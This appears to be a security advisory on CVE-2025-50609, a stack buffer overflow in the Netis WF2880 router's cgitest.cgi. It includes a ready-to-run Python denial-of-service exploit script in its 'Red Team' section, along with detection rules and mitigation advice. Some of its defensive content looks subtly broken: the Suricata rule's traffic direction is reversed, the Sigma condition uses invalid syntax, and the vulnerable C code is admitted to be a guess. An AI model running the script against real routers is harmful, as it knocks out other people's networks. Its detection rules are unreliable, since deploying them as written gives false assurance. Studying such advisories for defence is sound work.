CVE-2025-50609

Executive Summary

CVE-2025-50609 is a critical buffer overflow vulnerability discovered in the Netis WF2880 router, specifically in firmware version v2.1.40207. The flaw resides in the Function_00465620 routine within the cgitest.cgi CGI binary. By controlling the specify_parame parameter in an HTTP request, an unauthenticated attacker can trigger a stack-based buffer overflow, leading to a denial of service (DoS) condition. The vulnerability is publicly known but remains unpatched, and no official fix has been released by Netis. This report provides a comprehensive technical analysis, detection rules, and exploitation guidance for both Red and Blue teams.

CVSS Breakdown & Threat Level

The CVSS score is currently 0.0 due to insufficient data from the NVD. However, based on the technical details, a reasonable assessment is:

• Attack Vector (AV): Network (N) – exploitable remotely.
• Attack Complexity (AC): Low (L) – no special conditions required.
• Privileges Required (PR): None (N) – no authentication needed.
• User Interaction (UI): None (N) – no user action required.
• Scope (S): Unchanged (U) – the vulnerability affects only the router.
• Confidentiality (C): None (N) – no data exfiltration.
• Integrity (I): None (N) – no data modification.
• Availability (A): High (H) – causes a crash and DoS.

Estimated CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Estimated Base Score: 7.5 (High)

Threat Level: High – due to remote, unauthenticated exploitation and lack of patch.

Deep Dive & Mechanics

The vulnerability is a classic stack-based buffer overflow in the cgitest.cgi CGI script. The function Function_00465620 copies user-supplied data from the specify_parame HTTP parameter into a fixed-size stack buffer without proper bounds checking. When the input exceeds the buffer capacity, it overwrites adjacent stack memory, including the return address and other critical data.

Root Cause:
The CGI binary does not validate the length of the specify_parame parameter before copying it into a local buffer. This allows an attacker to send a crafted HTTP POST request with an oversized parameter value.

Impact:

• Denial of Service (DoS): The overflow corrupts the stack, causing the program to crash and the router to become unresponsive until a reboot.
• Potential for RCE: While the original description only mentions DoS, a skilled attacker could potentially achieve remote code execution (RCE) by carefully controlling the overwritten return address and injecting shellcode. However, this requires bypassing modern memory protections (ASLR, NX) which may not be present on this embedded device.

Attack Vector:

• Protocol: HTTP
• Endpoint: /cgitest.cgi
• Parameter: specify_parame
• Method: POST or GET (likely POST)

Vulnerable vs. Patched Code

Since no patch is available, we can only analyze the vulnerable code path. The vulnerable function likely resembles:

void Function_00465620(char *input) {
    char buffer[256];  // Fixed-size buffer
    strcpy(buffer, input);  // Unsafe copy - no bounds check
    // ... further processing
}

Patched Code (Hypothetical):
A secure implementation would use strncpy or snprintf with length limits:

void Function_00465620(char *input) {
    char buffer[256];
    strncpy(buffer, input, sizeof(buffer) - 1);
    buffer[sizeof(buffer) - 1] = '\0';
    // ... further processing
}

Exploitation & Lab Setup

Red Team

Prerequisites:

• Netis WF2880 router with firmware v2.1.40207
• Network access to the router's web interface (typically port 80 or 443)
• Python3 with requests library

Exploit Script (Python):

#!/usr/bin/env python3
import requests
import sys

def exploit(target_ip, payload_size=1000):
    url = f"http://{target_ip}/cgitest.cgi"
    # Craft oversized parameter
    payload = "A" * payload_size
    data = {"specify_parame": payload}
    
    try:
        print(f"[*] Sending exploit to {url}")
        r = requests.post(url, data=data, timeout=5)
        print(f"[+] Response: {r.status_code}")
    except requests.exceptions.Timeout:
        print("[+] Target likely crashed (DoS achieved)")
    except Exception as e:
        print(f"[-] Error: {e}")

if __name__ == "__main__":
    if len(sys.argv) < 2:
        print(f"Usage: {sys.argv[0]} <target_ip> [payload_size]")
        sys.exit(1)
    target = sys.argv[1]
    size = int(sys.argv[2]) if len(sys.argv) > 2 else 1000
    exploit(target, size)

Usage:
python3 exploit.py 192.168.1.1 1500

Expected Outcome:
The router's web interface becomes unresponsive. The device may need a hard reboot.

Blue Team

Detection:

• Monitor HTTP requests to /cgitest.cgi with abnormally long specify_parame values.
• Look for repeated connection timeouts or crashes in router logs.
• Use network traffic analysis to detect large POST payloads.

Mitigation:

• Block or restrict access to the router's web interface from untrusted networks.
• Apply virtual patching via a WAF (e.g., ModSecurity) to filter oversized parameters.
• Monitor for firmware updates from Netis.

Indicators of Compromise (IOCs)

• Network:

  • HTTP POST requests to /cgitest.cgi with specify_parame > 256 bytes.
  • Repeated connection timeouts to the router's web interface.
  • Unusual traffic patterns from a single source IP to the router.

• Host (Router):

  • Router becomes unresponsive or reboots unexpectedly.
  • Log entries indicating CGI process crash (if logging is enabled).
  • Memory corruption artifacts in crash dumps (if accessible).

• File:

  • No file-based IOCs as the attack is memory-based.

Detection Engineering

YARA Rule

rule CVE_2025_50609_Netis_WF2880_BOF {
    meta:
        description = "Detects HTTP requests targeting CVE-2025-50609 buffer overflow in Netis WF2880"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-50609"
    strings:
        $cgi = "/cgitest.cgi" ascii wide nocase
        $param = "specify_parame=" ascii wide nocase
        $long_payload = /specify_parame=[A-Za-z0-9]{256,}/ ascii
    condition:
        $cgi and $param and #long_payload > 0
}

Sigma Rule

title: CVE-2025-50609 Netis WF2880 Buffer Overflow Attempt
id: 8f3a2b1c-4d5e-6f7a-8b9c-0d1e2f3a4b5c
status: experimental
description: Detects HTTP POST requests with oversized specify_parame parameter targeting cgitest.cgi
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access_log
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/cgitest.cgi'
        cs-uri-query|contains: 'specify_parame='
    condition: selection and (len(cs-uri-query) > 300)
falsepositives:
    - Legitimate large parameter values (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (
    msg:"CVE-2025-50609 Netis WF2880 Buffer Overflow Attempt";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/cgitest.cgi"; http_uri;
    content:"specify_parame="; http_client_body;
    pcre:"/specify_parame=[A-Za-z0-9]{256,}/Ri";
    sid:1000001;
    rev:1;
    reference:cve,2025-50609;
    classtype:attempted-dos;
    priority:1;
)

Remediation & Mitigation

Immediate Actions:

1. Disable Remote Management: If not required, disable remote access to the router's web interface.
2. Restrict Access: Use firewall rules to allow only trusted IPs to access the router's management interface.
3. Monitor Logs: Enable logging and monitor for suspicious requests to /cgitest.cgi.

Long-Term Fix:

• Vendor Patch: Await an official firmware update from Netis. Contact Netis support to request a fix.
• Device Replacement: If no patch is forthcoming, consider replacing the router with a more secure model.

Virtual Patching (WAF):
Deploy a web application firewall (e.g., ModSecurity) with a rule to block requests where specify_parame exceeds 256 characters.

Network Segmentation:
Place the router in a separate VLAN with limited exposure to the internet.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert